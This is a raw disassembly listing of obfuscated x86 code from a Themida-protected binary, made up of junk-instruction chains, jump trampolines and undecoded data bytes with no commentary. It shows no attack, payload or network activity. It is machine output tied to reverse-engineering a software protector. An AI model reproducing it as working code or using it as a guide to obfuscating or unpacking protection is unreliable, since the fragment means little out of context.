		mov	edi, 7C792CB3h
		push	2026h
		jmp	loc_56C241
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 5166C8B6h, 0FC99E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E406:				; CODE XREF: Themida_:0056894Ej
		add	eax, edi
		pop	edi
		not	eax
		and	eax, 66D54DD9h
		jmp	loc_56A731
; ---------------------------------------------------------------------------


loc_56E415:				; CODE XREF: Themida_:00570062j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56E339
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 3304C383h,	1C31241Ch, 241C3324h, 0E924248Bh
		dd 0FFFF819Ch
dword_56E438	dd 240C8B66h, 0E9E28952h, 2C7h ; DATA XREF: Themida_:0055DF30o
; ---------------------------------------------------------------------------


loc_56E444:				; CODE XREF: Themida_:0056E158j
		mov	ecx, esi
		jmp	loc_56BC3B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 36324FCAh, 0FF213EE9h, 386A89FFh, 5D2434FFh,	4C481h
		dd 0F5680000h, 89000051h, 0B4BD242Ch, 0E97DD115h, 0FFFFBA27h
		dd 53E98158h, 814C5605h, 699079F1h, 0A3F8E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E486:				; CODE XREF: Themida_:0057010Dj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5676D8
; ---------------------------------------------------------------------------
		db 59h,	87h, 14h
		dd 6638E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E49A:				; CODE XREF: Themida_:00571EF4j
		mov	esi, 51E47D27h
		jmp	loc_5657E6
; ---------------------------------------------------------------------------
		dd 4C181h, 10E90000h, 29FFFF61h, 4B055BD8h, 8B53C949h
		dd 0C481242Ch, 4, 0E930FF66h, 3D8Eh, 0E9241C89h, 0FFFF99BFh
		dd 8107E3C1h, 0D1DDD7EBh, 0E9D82943h, 0FFFFB4E1h, 5B66AE04h
		dd 1AA4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4EA:				; CODE XREF: Themida_:0056C037j
		mov	esi, edi
		pop	edi
		and	esi, 6FC47E0Dh
		push	edx
		mov	edx, 36B91EC6h
		or	esi, edx
		pop	edx
		jmp	loc_56E107
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 5
		dd 1C281h, 0E9560000h, 0FFFFC695h
; ---------------------------------------------------------------------------


loc_56E510:				; CODE XREF: Themida_:0056587Ej
		add	esp, 4
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56FAA7
; ---------------------------------------------------------------------------
		dw 9068h
		dd 8B620077h, 0C483243Ch, 0C40E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E52E:				; CODE XREF: Themida_:00567C75j
		mov	[esp], eax
		push	edx
		jmp	loc_566425
; ---------------------------------------------------------------------------


loc_56E537:				; CODE XREF: Themida_:005683AAj
		pop	esp
		pop	dword ptr [esp]
		not	ebp
		push	72EBh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_571811
; ---------------------------------------------------------------------------


loc_56E561:				; CODE XREF: Themida_:0056E0E0j
		add	ebp, edi
		add	ebp, 3BAD527Ah
		pop	edi
		jmp	loc_56676E
; ---------------------------------------------------------------------------
		db 1
		dd 82055BD8h, 0E9FAB5F6h, 12BAh, 6735E95Ah, 3C89FFFFh
		dd 2BF24h, 31E90000h, 5AFFFF4Fh, 0E930428Fh, 0FFFEFD9Dh
		dd 0BB241C89h, 64D0243Dh, 78E9DF21h, 0B4FFFF27h, 58E1885Ah
		dd 0CE00F3B6h, 592434FFh, 81E18951h, 4C1h, 4C18100h, 33000000h
		dd 0C31240Ch, 240C3324h, 3024248Bh, 0A3EE9F4h, 93040000h
		dd 0D8001104h, 0EC83112Ch, 240C8904h, 0C5806AB5h, 0F6D586FFh
		dd 0E9D586D2h, 0FFFFF41Ah, 4C481h, 0C4830000h, 74FF5604h
		dd 34FF0424h, 0C4815E24h, 4, 0E924048Fh, 0FFFF2399h
; ---------------------------------------------------------------------------


loc_56E614:				; CODE XREF: Themida_:00562E6Dj
		not	ecx
		add	ecx, 11F24A22h
		mov	edx, ecx
		pop	ecx
		add	edx, 0FFFFFFFFh
		dec	edx
		add	edx, 0E82FDD65h
		jmp	loc_565C1C
; ---------------------------------------------------------------------------
byte_56E631	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DECCo
		dd 4EC8324h, 68240489h,	9F0h, 0FF0947E9h, 0F7DE87FFh, 57DE87D3h
		dd 1C423ABFh, 0DE7FE94Ah, 1487FFFFh, 0C7D3E924h, 0ED81FFFFh
		dd 286210BDh, 1BAEB951h, 0E9817EBFh, 157B228h, 0E959CF01h
		dd 0FFFFE1A5h, 62E9E288h, 89FFFFF1h, 4C281E2h, 83000000h
		dd 148704C2h, 0EC835C24h, 242C8904h, 48E95D54h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E69B:				; CODE XREF: Themida_:0056D511j
		push	edx
		push	esi
		mov	esi, 68391DC0h
		jmp	loc_56ACE0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3C892424h, 83E78924h, 348904ECh, 37BF5724h, 0BE400B75h
		dd 2030F79h, 3C8BFE31h,	0E7895724h, 4C781h, 0C7810000h
		dd 4, 2474FF57h, 0E4DE904h, 0E8890000h,	12D5Dh,	0A2E90000h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E6EB:				; CODE XREF: Themida_:00568031j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd 2434875Ah, 0FC3305Ch, 43E9C0B6h, 8100000Bh, 4C2h, 42E95000h
		dd 5A00001Dh, 73E9D2F7h, 81FFFFC0h, 4B45E9E3h, 92E3812Fh
		dd 831BEE01h, 0D3F7FFEBh, 15B5E9h, 89E95000h, 1FFFF7Ch
		dd 24348BF2h, 122CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56E745:				; CODE XREF: Themida_:005658F8j
		mov	ecx, 969344F6h
		sub	esi, 679C4622h
		sub	esi, 55637392h
		add	esi, ecx
		add	esi, 55637392h
		add	esi, 679C4622h
		pop	ecx
		add	ebp, esi
		pop	esi
		add	ebp, ebx
		sub	ebp, 3D187776h
		push	dword ptr [esp]
		jmp	loc_571DC6
; ---------------------------------------------------------------------------


loc_56E778:				; CODE XREF: Themida_:0056030Ej
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 20E9h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E77F:				; CODE XREF: Themida_:005634A7j
		push	2B10h
		mov	[esp], ebx
		mov	ebx, 39C3566Eh
		jmp	loc_568894
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 5Eh
		dd 894556CEh, 411EE9F1h, 15AFFFFh, 242C8BE8h, 4C481h, 59350000h
		dd 50CA167Ah, 0EC815859h, 4, 0BF243C89h, 7F886E69h, 0FF01A0E9h
		dd 0EA815BFFh, 7E2A5C07h, 735EC281h, 0FA016FC0h, 735EEA81h
		dd 0B2E96FC0h, 53000019h, 22E9CF88h, 89FFFF28h,	0FF542434h
		dd 348B2434h, 4C48324h,	350368h, 2F2AE900h, 0BDB90000h
		dd 29AAC231h, 0C62959C8h, 68C60158h, 212Bh, 68240489h
		dd 35F9h, 68242C89h, 17872477h,	1C5815Dh, 81000000h, 1A2DB1C5h
		dd 8EDC108h, 0FFD4B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E835:				; CODE XREF: Themida_:0055F61Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5670BF
; ---------------------------------------------------------------------------


loc_56E840:				; CODE XREF: Themida_:00565DBBj
		shl	ebp, 8
		xor	ebp, 982FE666h
		jmp	loc_55F360
; ---------------------------------------------------------------------------
		db '\^hµ,',0
		dd 243C8900h, 1376B850h, 0DAE9420Fh, 8BFFFF9Ah,	8952243Ch
		dd 4C281E2h, 50000000h,	59D16853h, 0F75B6842h, 81D3F7D3h
		dd 0AF7974CBh, 0F1F3814Eh, 896EEF79h, 7CE95BD8h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E88F:				; CODE XREF: Themida_:0055F6C5j
		xor	edx, 0DE26B35h
		sub	ebx, 34F32C6Fh
		add	ebx, edx
		add	ebx, 34F32C6Fh
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	1436h
		jmp	loc_55FCAD
; ---------------------------------------------------------------------------
		dd 576417BBh, 0E9DE293Eh, 0FFFF3405h, 5204C483h, 682FB151h
		dd 278Ah, 0B5240C89h, 68ED803Ch, 0E5C0CDFEh, 0B7C58007h
		dd 5AE9DDF6h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E8EB:				; CODE XREF: Themida_:0057281Dj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_570450
; ---------------------------------------------------------------------------
		dw 5954h
		dd 163BE56h, 0CE8118B4h, 2EEC75A6h, 1068C681h, 0E9460226h
		dd 0FFFF783Fh, 47F5685Ah, 2C890000h, 4BD24h, 0EA010000h
		dd 1F4C685Dh, 17E90000h, 5CFFFF3Dh, 0FF1FACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E931:				; CODE XREF: Themida_:0056B193j
		not	edx
		jmp	loc_563DB9
; ---------------------------------------------------------------------------
		dd 59CA305Bh, 0E2C0CAFEh, 3E2C006h, 0FF1F16E9h
		db 0FFh
byte_56E949	db 64h,	66h, 0Fh	; DATA XREF: Themida_:0055DE10o
		dd 11E902B6h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E953:				; CODE XREF: Themida_:00565C5Ej
		xor	esi, edx
		pop	edx
		push	esi
		jmp	loc_571605
; ---------------------------------------------------------------------------
		dd 1B17C781h, 81572A1Dh, 75752404h, 815D5A46h, 467575EDh
		dd 243C8B5Ah, 5304C483h, 88179FBBh, 0A6A8E95Bh,	0FF50FFFFh
		dd 58042474h, 8B24048Fh, 54552424h, 0E9242C8Bh,	0FFFFD6C3h
		dd 1893F181h, 6C0558F1h, 15D7C4Bh, 4B6C2DC8h, 0D1595D7Ch
		dd 0F96FE9E0h, 5259FFFFh, 42474FFh, 8124148Bh, 4C4h, 24048F00h
		dd 0FF6B65E9h, 243C89FFh, 2D9EE9h, 45F18100h, 108A0C0h
		dd 240C8BCBh, 8104C483h, 2C3h, 241C8700h, 0E924248Bh, 209Eh
		dd 405E089h, 5000000h, 4, 5C240487h, 0FF5D68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EA05:				; CODE XREF: Themida_:0056DF04j
		push	7504h
		mov	[esp], edx
		mov	edx, 431E60A0h
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_562CB4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 31EF31D7h, 0F7EF31FDh, 0E95557D5h, 0FFFFDADFh, 0C46014BAh
		dd 63E95515h, 52FFFFC4h, 0D589C289h, 24048B5Ah,	52E08950h
		dd 824DE9BAh, 0DDC2812Bh, 81174E1Ah, 0D068C2EAh, 5AD00142h
		dd 8704C083h, 0DFE92404h
		db 0FDh, 2 dup(0FFh)
byte_56EA6F	db 66h			; DATA XREF: Themida_:0055DF0Co
		dd 57240C8Bh, 4EC81h, 8F540000h, 0BF572404h, 4,	4247C01h
		dd 2434FF5Fh, 0FF024FE9h, 0B1BFB6FFh, 8BF130FBh, 0C4832414h
		dd 0E987B204h, 0FFFFCFCBh, 8904EC83h, 0B4BF243Ch, 5672B500h
		dd 0FFACCDE9h, 49C781FFh, 5B00D92Ch, 8904EC83h,	0D2BB241Ch
		dd 815B2B15h, 0E248FDF3h, 0F9F38144h, 4B57B915h, 0C381D3F7h
		dd 0A39F4E57h, 1C8BDA01h, 0B4F0E924h, 8956FFFFh, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 24048F5Ch, 0FF8EB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB01:				; CODE XREF: Themida_:0055EF04j
		xor	edx, edi
		xor	edi, edx
		jmp	loc_568BED
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 89000000h, 3B70E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EB16:				; CODE XREF: Themida_:00567A3Aj
		xchg	ebp, [esp]
		jmp	loc_571A94
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C6h, 2B95100h, 29000000h, 348759CEh, 24248B24h, 0FF7313E9h
		dd 241C89FFh, 4BBh, 0FFD80100h,	0CE92434h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EB4B:				; CODE XREF: Themida_:00562925j
		pop	ecx
		jmp	loc_568942
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd offset dword_457444+2B624h
		dd 24148900h, 0F330A8B6h, 0FF4F4FE9h, 241C33FFh, 33241C31h
		dd 9E9241Ch, 0B5FFFFD9h, 5BDD302Fh, 37FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56EB7D:				; CODE XREF: Themida_:0056C082j
		push	edx
		mov	edx, 68966F56h
		sub	ecx, edx
		pop	edx
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	3A7h
		mov	[esp], ebp
		mov	ebp, 574704F4h
		shr	ebp, 5
		push	eax
		mov	eax, 1A8C160Ah
		add	eax, 65D31CF8h
		xor	eax, 449B2BF4h
		add	eax, 7A7234EAh
		sub	ebp, eax
		pop	eax
		push	ebx
		push	7F5E01D4h
		pop	ebx
		add	ebx, 782651EDh
		jmp	loc_55E9BF
; ---------------------------------------------------------------------------


loc_56EBC7:				; CODE XREF: Themida_:0055E9F0j
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4000h
		and	eax, edi
		jmp	loc_56B38E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5EFC14Fh, 1EF81h, 0EF810000h, 0F9E929BFh, 242C8157h
		dd 38F6E86h, 5EBF5758h,	815A5260h, 0F0376EE7h, 8BC78105h
		dd 814D2836h, 0E8E853EFh, 0E9F80149h, 171Fh, 5204C483h
		dd 782568h, 24048900h, 4B8h, 8BC28900h,	0C4832404h, 18C58104h
		dd 115AE53h, 18ED81D5h,	8B15AE53h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5724E5
; ---------------------------------------------------------------------------


loc_56EC5D:				; CODE XREF: Themida_:00564EC1j
		push	edx
		jmp	loc_56DF2E
; ---------------------------------------------------------------------------
		db 58h
		dd 2BF7805Ah, 0FEFC4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EC6D:				; CODE XREF: Themida_:00568DFBj
		pop	ecx
		jmp	loc_562E4B
; ---------------------------------------------------------------------------


loc_56EC73:				; CODE XREF: Themida_:00568411j
		sub	ebx, 33AE6F0Fh
		jmp	loc_56671C
; ---------------------------------------------------------------------------
		dw 0C15Eh
		dd 4CE904E7h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC87:				; CODE XREF: Themida_:005662D9j
		push	5AADh
		mov	[esp], ebp
		push	ebx
		jmp	loc_566315
; ---------------------------------------------------------------------------


loc_56EC95:				; CODE XREF: Themida_:00564C39j
		pop	eax
		add	esp, 4
		add	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		add	ebx, esi
		push	ebp
		push	ecx
		mov	ecx, 0CEA6D32h
		sub	ecx, 2CA20635h
		sub	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_564A78
; ---------------------------------------------------------------------------


loc_56ECB8:				; CODE XREF: Themida_:005637D5j
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56F7C2
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 2434FF59h, 9CC9E959h, 2C8BFFFFh, 4C48124h, 68000000h
		dd 17CAh, 89243C89h, 4C781E7h, 81000000h, 4C7h,	74FF5700h
		dd 8F5F0424h, 555C2404h, 0FFCE61E9h, 240489FFh,	405E089h
		dd 0E9000000h, 356Bh, 575BDD01h, 0C781E789h, 4,	4EF81h
		dd 3C870000h, 2C895C24h, 2474FF24h, 242C8B04h, 8F04C483h
		dd 248B2404h, 48B6624h,	0EC835724h, 4A06E904h, 0EC83FFFFh
		dd 241C8904h, 0D92880B3h, 52EB805Bh, 0E9B2B151h, 0FFFF3E9Fh
; ---------------------------------------------------------------------------


loc_56ED60:				; CODE XREF: Themida_:005640F3j
		sub	esp, 4
		mov	[esp], ecx
		push	3C62h
		mov	[esp], esi
		jmp	loc_5640C3
; ---------------------------------------------------------------------------


loc_56ED76:				; CODE XREF: Themida_:0056191Cj
		mov	ecx, 6C452E19h
		or	ecx, 7D3D7F16h
		jmp	loc_562E63
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80EB009Bh, 0A1E99BC3h, 0BAFFFFAFh, 61184525h, 50FAE281h
		dd 81426828h, 733584CAh, 0D7BD556Ch, 21717664h,	23E95DEAh
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EDB3:				; CODE XREF: Themida_:005692AEj
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5706FA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0DBh
		dd 0E936CE05h, 0FFFFF1DFh, 81242C8Bh, 4C4h, 0EB815E00h
		dd 75574E6h, 0C381C329h, 75574E6h, 648FBF57h, 0F6E912AAh
		dd 87FFFFB8h, 685C2414h, 2022h,	0BB241C89h, 4, 0AF5F1905h
		dd 2DD80118h, 18AF5F19h, 5B2434FFh, 5E08950h, 4, 470E68h
		dd 241C8900h, 4BBh, 775CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE32:				; CODE XREF: Themida_:005645AFj
		sub	esi, 1
		sub	esi, 0FD98604Fh
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_5693A4
; ---------------------------------------------------------------------------


loc_56EE45:				; CODE XREF: Themida_:0056D47Dj
		pop	ecx
		add	ebx, edx
		pop	edx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5608FB
; ---------------------------------------------------------------------------
		db 0B0h
		dd 8BC78855h, 0C4832404h, 0D71FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE6A:				; CODE XREF: Themida_:0056DBA3j
		add	ebp, 4
		jmp	loc_56D00A
; ---------------------------------------------------------------------------


loc_56EE75:				; CODE XREF: Themida_:005681BBj
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		jmp	loc_56C97A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Fh, 31241C33h,	1C33241Ch, 0CF40E924h, 0C483FFFFh
		dd 51D80002h, 0C9FEC6B1h, 0E180D1F6h, 49E980D1h, 0C180C1FEh
		dd 28D1042Fh, 0CB968C8h, 1C890000h, 0D040B324h,	80D3F6E3h
		dd 0E380C3CBh, 0AFAEE9BCh, 0E959FFFFh, 0FFFFBD6Ah, 0E92434FFh
		dd 0FFFFE8E6h
dword_56EED8	dd 9D1C77FFh, 24041958h, 0F1B9E99Ch, 1C8BFFFEh,	0B6C2E924h
					; DATA XREF: Themida_:0055DED4o
		dd 348BFFFFh, 4C48124h,	0E9000000h, 0FFFF583Bh,	3BA1E951h
		dd 7068FFFFh, 89000038h, 3CBE2434h, 81104903h, 490338F6h
		dd 762B0510h, 0F00127EDh, 0ED762B2Dh, 68575E27h, 4, 5096055Fh
		dd 0F801347Ah, 7A50962Dh, 4875F34h, 24248B24h, 4B951h
		dd 0CA290000h, 24143359h, 33241431h, 85E92414h,	1FFFF54h
		dd 1C335DEBh, 241C3124h, 8B241C33h, 0B7E92424h
		db 7Fh,	2 dup(0FFh)
byte_56EF67	db 0FFh			; DATA XREF: Themida_:0055DDC8o
		dd 34FF2434h, 24048B24h, 5204C483h, 0C281E289h,	4, 6A0268h
		dd 241C8900h, 61BB6857h, 0F75F741Bh, 4FDFF7DFh,	0FF5F3BE9h
		dd 148B54FFh, 4C48124h,	81000000h, 4C2h, 4B85000h, 0E9000000h
		dd 0FFFF43BDh
; ---------------------------------------------------------------------------


loc_56EFB0:				; CODE XREF: Themida_:00568D2Aj
		push	5E14h
		mov	[esp], edx
		push	ecx
		push	edx
		mov	edx, 52B04DC8h
		jmp	loc_564501
; ---------------------------------------------------------------------------


loc_56EFC4:				; CODE XREF: Themida_:0056462Aj
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 6FD826D9h
		and	ebx, esi
		pop	esi
		and	ebx, 0F542CCBh
		jmp	loc_56D7A5
; ---------------------------------------------------------------------------


loc_56EFDC:				; CODE XREF: Themida_:0056B157j
		and	ecx, eax
		pop	eax
		shr	ecx, 2
		jmp	loc_562A96
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFEBh, 4C4815Dh,	2D000000h, 31FF1F46h, 4605D801h
		dd 8B31FF1Fh, 0C483241Ch, 75E95504h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F00B:				; CODE XREF: Themida_:0056167Aj
		mov	esp, [esp]
		pop	ecx
		jmp	loc_55E482
; ---------------------------------------------------------------------------
		dd 24148B66h, 2C481h, 0E3880000h, 58ABE958h, 0D9BDFFFFh
		dd 1CDB624h, 24148BD5h,	4C481h,	6BE90000h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F03B:				; CODE XREF: Themida_:00569B79j
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 720E5A59h
		jmp	loc_560085
; ---------------------------------------------------------------------------
byte_56F051	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DE08o
aS?8		db '$é?8',0
		align 2


loc_56F05A:				; CODE XREF: Themida_:0056890Fj
		add	ebx, 7FC2171Ah
		add	ebp, ebx
		pop	ebx
		sub	eax, ebp
		pop	ebp
		add	eax, edi
		add	eax, 35A23E12h
		push	dword ptr [eax]
		push	ecx
		mov	ecx, 2FC85DDDh
		xor	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 61831991h
		and	eax, 15623239h
		shl	eax, 5
		sub	eax, 2042021Ch
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 4
		add	ebp, 591804F6h
		sub	ebp, 1C5E4F2Dh
		add	ebp, edx
		add	ebp, 1C5E4F2Dh
		sub	ebp, 591804F6h
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, 2FC85DDDh
		jmp	loc_56E3D9
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 0BA5258C7h, 0BD90646h, 1A34E9h, 4B900h, 0CE890000h
		dd 3811E959h, 0C581FFFFh, 4, 217B68h, 240C8900h, 4EC81h
		dd 4890000h, 181E6824h,	0E4E9626Eh, 50FFFF42h, 0FBBBE268h
		dd 0C53158FFh, 0FF9304E9h, 0F30166FFh, 0FF5E16E9h, 48B66FFh
		dd 35BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F12E:				; CODE XREF: Themida_:00567BBAj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	301Ah
		mov	[esp], edi
		jmp	loc_56D516
; ---------------------------------------------------------------------------
		dd 15DEF89h, 14875FFAh,	62E95C24h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F153:				; CODE XREF: Themida_:0056C5D6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57089A
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EE5BE904h, 348BFFFFh, 0E6DBE924h, 0E7C1FFFFh, 3EE95205h
		db 0Fh,	2 dup(0FFh)
byte_56F177	db 30h			; DATA XREF: Themida_:0055DFE8o
		dd 3C32243Ch, 243C3024h, 81EC8850h, 4ECh, 24048900h, 0E588FC88h
		dd 0FF8934E9h, 3F8B68FFh, 4890000h, 0E3B86624h,	0C689664Ah
		dd 73DE9h, 4EC8300h, 54242C89h,	83242C8Bh, 0C58104C4h
		dd 4, 8702C583h, 665C242Ch, 30B5B753h, 0E95B66FCh, 0FFFF39E4h
		dd 37F3E959h, 0C4810000h, 4, 2456EE81h,	0D2E97A0Fh, 89FFFF9Fh
		dd 0C8E95DE8h, 29FFFEF4h, 41C281C2h, 587F0C55h,	0E4E9D021h
		dd 6800001Dh, 4D6Fh, 0B9240C89h, 2EB84698h, 6803E9C1h
		dd 24A3h, 51240489h, 0F97EB2B9h, 8BC88922h, 0C483240Ch
		dd 3D083504h, 0C10901FEh, 0E17E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F232:				; CODE XREF: Themida_:0055E679j
		push	ebp
		pop	ecx
		pop	ebp
		neg	ecx
		shr	ecx, 2
		inc	ecx
		add	ecx, 0C94BC661h
		sub	edi, 3E425A1Eh
		add	edi, ecx
		jmp	loc_55ED0C
; ---------------------------------------------------------------------------
		dw 48Dh
		dd 0AF56887h, 4890000h,	0EE41E924h, 3CE9FFFEh, 1FFFEEEh
		dd 0FEFCE9F0h, 0D104FFFFh, 8B66F72Ch, 0ADE92414h, 81FFFFA2h
		dd 4C7h, 4C78100h, 0E9000000h, 15DEh, 502EE95Bh, 0C483FFFFh
		dd 34876602h, 0EE05E924h, 0C89FFFEh, 4EC8324h, 51241C89h
		dd 0F6B3D2B5h, 6CE9EB28h, 81FFFF33h, 0D0B626EEh, 5CC58114h
		dd 17F8016h, 5CED81F5h,	0E97F8016h, 0FFFFFC26h,	0E2240481h
		dd 0E9528A17h, 0FFFF721Ah, 0B28E02B9h, 59C829BEh, 158C689h
		dd 3C875EF7h, 24248B24h, 0FEEDB2E9h, 24148BFFh,	0FF57AFE9h
		dd 81DFF7FFh, 44E754F7h, 0E378E9F2h, 9105FFFFh,	0FF38D839h
		dd 815B2434h, 4C4h, 0BD555100h,	19DC0B73h, 8059ECB9h, 5DE9315Fh
		dd 0FFDC1EE9h, 242C8BFFh, 104C483h, 0F1685FF8h,	0E900004Ch
		dd 0FFFEEE4Ah
; ---------------------------------------------------------------------------


loc_56F338:				; CODE XREF: Themida_:005666E3j
		mov	dl, ah
		jmp	loc_55FAE4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0AC4E900h, 0C800FFFFh,	5966B104h, 7EE9052Ch, 8BFFFF37h
		dd 0C4832404h, 28242504h, 0E8C13C6Eh, 0C2D9E903h, 1C87FFFFh
		dd 4895C24h, 4B824h, 0EB810000h, 5FD17EFEh, 34E9C301h
		dd 57FFFF99h, 0F952E1BFh, 7DBD5534h, 296DB91Fh,	0CF815DEFh
		dd 600E0F0Fh, 3F6BEF81h, 0FD01E74Eh, 6F9FE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F3A6:				; CODE XREF: Themida_:0055FE8Dj
		pop	ebp
		jmp	loc_56CB35
; ---------------------------------------------------------------------------
		dd 3503E8C1h, 29E94C00h, 0AFE7F735h, 0E9C62957h, 0FFFF7028h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 1595BF57h,	0ABE95B0Dh
		dd 52FFFFECh, 0C281E289h, 4, 8704C283h,	0E95C2414h, 0FFFFAE61h
		dd 4BEh, 8BF70100h, 0C4832434h,	243C8704h, 0E9C3305Ch
		dd 1F54h, 3D3ACB81h, 0C0E93FACh
		db 0EFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F413:				; CODE XREF: Themida_:0056469Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56A96D
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0E9h
		dd 0FFFF11A2h
; ---------------------------------------------------------------------------


loc_56F428:				; CODE XREF: Themida_:00560E12j
		add	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		not	dl
		add	dl, 0FFh
		push	ax
		push	ecx
		mov	ch, 4Eh
		xor	ch, 94h
		sub	ch, 60h
		mov	ah, ch
		pop	ecx
		jmp	loc_56E22E
; ---------------------------------------------------------------------------


loc_56F448:				; CODE XREF: Themida_:00561BCFj
		add	eax, 1D77685Fh
		add	ecx, 604A263Dh
		add	ecx, eax
		push	esi
		mov	esi, esp
		jmp	loc_563863
; ---------------------------------------------------------------------------
aWHccxrhB	db 'W¿hc–xRhÇb',0
		dd 240C8900h, 5B1536B9h, 0E9D1F76Ch, 0FFFF7AAFh
; ---------------------------------------------------------------------------


loc_56F478:				; CODE XREF: Themida_:00570DB0j
		xchg	edx, [esp]
		jmp	loc_55EA1B
; ---------------------------------------------------------------------------


loc_56F480:				; CODE XREF: Themida_:00564E46j
		add	dword ptr [esp+4], 3C0627D4h
		push	eax
		jmp	loc_564AE3
; ---------------------------------------------------------------------------


loc_56F48E:				; CODE XREF: Themida_:005657F0j
		push	esi
		pop	edi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_56AD61
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
